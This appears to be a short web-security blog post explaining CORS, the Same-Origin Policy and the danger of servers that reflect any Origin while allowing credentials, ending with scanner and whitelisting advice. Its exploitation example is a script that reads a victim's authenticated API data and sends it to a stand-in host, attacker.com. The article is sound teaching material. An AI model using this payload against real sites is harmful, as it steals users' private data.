Share some knowledge, skills and others — security research, pentesting notes and more.

View on GitHub
22 September 2019

CORS Header Misconfiguration

by allencharp

What is CORS

A request for a resource (like an image or a font) from outside the origin is known as a cross-origin request. CORS (Cross-Origin Resource Sharing) is the mechanism that manages these cross-origin requests.

To understand CORS, we first need the Same-Origin Policy (SOP): by default, a web page can only read responses from the same origin (scheme + host + port). The SOP is a fundamental security boundary of the browser — without it, any website could read the inbox of a user logged into any other site. CORS is the controlled exception to the SOP: it lets a server explicitly declare which origins are allowed to read its responses.

The CORS standard is needed because it allows servers to specify not just who can access its assets, but also how the assets can be accessed. For example, server A probably does not want servers B, C or D to edit or delete its assets.

CORS Headers

The most important header is Access-Control-Allow-Origin, which is decided by the server and controls which origins can access the resource:

Simple requests vs preflight requests

* vs Access-Control-Allow-Credentials

If the response includes Access-Control-Allow-Credentials: true, the Access-Control-Allow-Origin header cannot be * — browsers reject the combination. This is a common source of misconfiguration: developers set * for convenience and then wonder why credentialed requests fail, or worse, they reflect the Origin header to make it work.

CORS Misconfiguration

Exploitation example

If the server reflects any Origin and allows credentials, an attacker can read authenticated data from a victim’s browser:

<script>
fetch('https://victim.com/api/profile', {credentials: 'include'})
  .then(r => r.json())
  .then(data => {
    // exfiltrate the response to the attacker's server
    new Image().src = 'https://attacker.com/steal?data=' + JSON.stringify(data);
  });
</script>

When the victim visits the attacker’s page, the browser sends the request with the victim’s cookies, and — because the server reflects the origin — the attacker can read the response.

Detection and Remediation

CORS Scan Tool

CORScanner

Summary

CORS misconfiguration is a high-impact, often overlooked issue: a single reflected Origin on an authenticated API can let any website read a user’s private data. Always whitelist origins explicitly and test with both allowed and malicious origins.

tags: web-security - cors - misconfiguration